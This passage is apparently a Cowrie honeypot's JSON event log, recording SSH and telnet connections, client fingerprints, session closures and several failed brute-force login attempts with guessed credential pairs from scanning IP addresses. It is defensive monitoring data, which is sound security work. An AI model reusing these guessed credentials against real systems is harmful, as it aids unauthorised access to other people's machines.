e-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:56.719809Z","src_ip":"20.244.18.126","session":"cc0870f61426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazqaz","message":"login attempt [ubuntu/qazqaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:57.500000Z","src_ip":"20.244.18.126","session":"cc0870f61426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:58.689605Z","src_ip":"20.244.18.126","session":"cc0870f61426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.97022318840027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:58.725368Z","src_ip":"114.23.51.89","session":"7dddc90a05d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.92556023597717,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:58.848186Z","src_ip":"23.254.167.244","session":"eb85a1ace18a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34198,"dst_ip":"159.203.135.109","dst_port":23,"session":"e20b4836743b","protocol":"telnet","message":"New connection: 23.254.167.244:34198 (159.203.135.109:23) [session: e20b4836743b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:17:59.405724Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35478,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ecee45003ee","protocol":"telnet","message":"New connection: 23.254.167.244:35478 (159.203.135.109:23) [session: 2ecee45003ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:00.174103Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53384,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e8e67aaa77b","protocol":"telnet","message":"New connection: 114.23.51.89:53384 (159.203.135.109:23) [session: 7e8e67aaa77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:01.027679Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37100,"dst_ip":"159.203.135.109","dst_port":23,"session":"78372892d895","protocol":"telnet","message":"New connection: 23.254.167.244:37100 (159.203.135.109:23) [session: 78372892d895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:02.031389Z"}
{"eventid":"cowrie.session.closed","duration":32.88986825942993,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:02.372859Z","src_ip":"209.159.146.115","session":"4ed0c0c58b7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.921382427215576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:02.902436Z","src_ip":"114.23.51.89","session":"576d731ffcda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.52385067939758,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:02.989013Z","src_ip":"23.254.167.244","session":"a09193d61862","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008054971694946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:04.490531Z","src_ip":"114.23.51.89","session":"7d2a7bc7a1da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.71019530296326,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:04.760636Z","src_ip":"23.254.167.244","session":"518fb090e99d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83954668045044,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:05.520605Z","src_ip":"23.254.167.244","session":"230369283f81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.537004947662354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:05.555885Z","src_ip":"114.23.51.89","session":"832c637e823c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.663695096969604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:06.552803Z","src_ip":"114.23.51.89","session":"54c16c7b92e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":48000,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ff8c9eb3777","protocol":"telnet","message":"New connection: 114.23.51.89:48000 (159.203.135.109:23) [session: 9ff8c9eb3777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:08.966177Z"}
{"eventid":"cowrie.session.closed","duration":30.701066255569458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:11.177164Z","src_ip":"185.207.250.135","session":"c729bbe6afbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47142,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b997b87667a","protocol":"telnet","message":"New connection: 23.254.167.244:47142 (159.203.135.109:23) [session: 6b997b87667a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:11.246729Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47924,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab85d8b4d555","protocol":"telnet","message":"New connection: 23.254.167.244:47924 (159.203.135.109:23) [session: ab85d8b4d555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:11.912409Z"}
{"eventid":"cowrie.session.closed","duration":30.364327430725098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:12.119271Z","src_ip":"185.207.250.135","session":"cc011b15dd21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37678551673889,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:12.252870Z","src_ip":"185.207.250.135","session":"47b3e7c2b847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":57736,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c4995bb8a72","protocol":"telnet","message":"New connection: 185.207.250.135:57736 (159.203.135.109:23) [session: 0c4995bb8a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:13.545115Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50482,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ff591f182ed","protocol":"ssh","message":"New connection: 159.203.92.129:50482 (159.203.135.109:22) [session: 3ff591f182ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:14.719214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:14.724792Z","src_ip":"159.203.92.129","session":"3ff591f182ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:14.729247Z","src_ip":"159.203.92.129","session":"3ff591f182ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"11","message":"login attempt [anna/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:14.741344Z","src_ip":"159.203.92.129","session":"3ff591f182ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.668293952941895,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:15.493311Z","src_ip":"23.254.167.244","session":"62855044d993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:15.777995Z","src_ip":"159.203.92.129","session":"3ff591f182ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52622,"dst_ip":"159.203.135.109","dst_port":23,"session":"b10ccdc69348","protocol":"telnet","message":"New connection: 23.254.167.244:52622 (159.203.135.109:23) [session: b10ccdc69348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:16.071258Z"}
{"eventid":"cowrie.session.closed","duration":31.293834447860718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:17.293221Z","src_ip":"114.23.51.89","session":"663116c1aec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":40564,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6ef104840d4","protocol":"ssh","message":"New connection: 157.66.34.121:40564 (159.203.135.109:22) [session: c6ef104840d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:17.421901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:17.425528Z","src_ip":"157.66.34.121","session":"c6ef104840d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:17.661796Z","src_ip":"157.66.34.121","session":"c6ef104840d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":18780,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c265c7e32f1","protocol":"ssh","message":"New connection: 74.87.117.149:18780 (10.17.0.5:22) [session: 2c265c7e32f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:17.881967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:17.903522Z","src_ip":"74.87.117.149","session":"2c265c7e32f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:17.928365Z","src_ip":"74.87.117.149","session":"2c265c7e32f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfghjkl;","message":"login attempt [ubuntu/asdfghjkl;] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:18.056438Z","src_ip":"74.87.117.149","session":"2c265c7e32f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vsftpd","password":"vsftpd","message":"login attempt [vsftpd/vsftpd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:18.644098Z","src_ip":"157.66.34.121","session":"c6ef104840d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:19.082745Z","src_ip":"74.87.117.149","session":"2c265c7e32f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.96110463142395,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:19.319424Z","src_ip":"209.159.146.115","session":"b44e592cc687","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.76800203323364,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:19.630004Z","src_ip":"23.254.167.244","session":"65ab1a106846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:19.883076Z","src_ip":"157.66.34.121","session":"c6ef104840d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50422,"dst_ip":"159.203.135.109","dst_port":23,"session":"50ade073dbec","protocol":"telnet","message":"New connection: 114.23.51.89:50422 (159.203.135.109:23) [session: 50ade073dbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:19.899845Z"}
{"eventid":"cowrie.session.closed","duration":33.4022319316864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:22.053482Z","src_ip":"23.254.167.244","session":"deeeab96fe28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":50088,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd195f231e8d","protocol":"telnet","message":"New connection: 185.26.126.47:50088 (159.203.135.109:23) [session: bd195f231e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:22.194430Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":50428,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2d225d099ad","protocol":"telnet","message":"New connection: 114.23.51.89:50428 (159.203.135.109:23) [session: f2d225d099ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:24.662402Z"}
{"eventid":"cowrie.session.closed","duration":31.25933814048767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:25.345523Z","src_ip":"185.207.250.135","session":"688c59288369","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.4645938873291,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:27.705962Z","src_ip":"23.254.167.244","session":"c94342d6c47f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.23907780647278,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:27.840976Z","src_ip":"23.254.167.244","session":"e0bf33534333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.28601622581482,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:28.010814Z","src_ip":"23.254.167.244","session":"5cfbafa99f69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.03563165664673,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:28.592848Z","src_ip":"23.254.167.244","session":"ee9c5b190241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.64993858337402,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:30.923032Z","src_ip":"23.254.167.244","session":"e0d1276c48d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.17360043525696,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:31.098083Z","src_ip":"23.254.167.244","session":"2fc87861be35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":34092,"dst_ip":"159.203.135.109","dst_port":23,"session":"3aaf277136f0","protocol":"telnet","message":"New connection: 114.23.51.89:34092 (159.203.135.109:23) [session: 3aaf277136f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:31.969425Z"}
{"eventid":"cowrie.session.closed","duration":31.54373812675476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:32.571293Z","src_ip":"114.23.51.89","session":"7e8e67aaa77b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":53164,"dst_ip":"159.203.135.109","dst_port":23,"session":"82831521a375","protocol":"telnet","message":"New connection: 185.207.250.135:53164 (159.203.135.109:23) [session: 82831521a375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:33.011673Z"}
{"eventid":"cowrie.session.closed","duration":33.229931592941284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:33.403268Z","src_ip":"23.254.167.244","session":"2ecee45003ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":53876,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d6f6d86369","protocol":"telnet","message":"New connection: 185.207.250.135:53876 (159.203.135.109:23) [session: 19d6f6d86369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:33.407946Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":55336,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc6cf8d9e67a","protocol":"telnet","message":"New connection: 185.207.250.135:55336 (159.203.135.109:23) [session: bc6cf8d9e67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:34.487880Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":34104,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3803bd85e29","protocol":"telnet","message":"New connection: 114.23.51.89:34104 (159.203.135.109:23) [session: f3803bd85e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:34.838401Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":55834,"dst_ip":"159.203.135.109","dst_port":23,"session":"6de85b688d71","protocol":"telnet","message":"New connection: 185.207.250.135:55834 (159.203.135.109:23) [session: 6de85b688d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:34.861025Z"}
{"eventid":"cowrie.session.closed","duration":34.56158208847046,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:36.592850Z","src_ip":"23.254.167.244","session":"78372892d895","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50494,"dst_ip":"159.203.135.109","dst_port":23,"session":"81cf7f81f260","protocol":"telnet","message":"New connection: 23.254.167.244:50494 (159.203.135.109:23) [session: 81cf7f81f260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:37.967242Z"}
{"eventid":"cowrie.session.closed","duration":38.800743103027344,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:18:38.206369Z","src_ip":"23.254.167.244","session":"e20b4836743b","protocol":"telnet"}
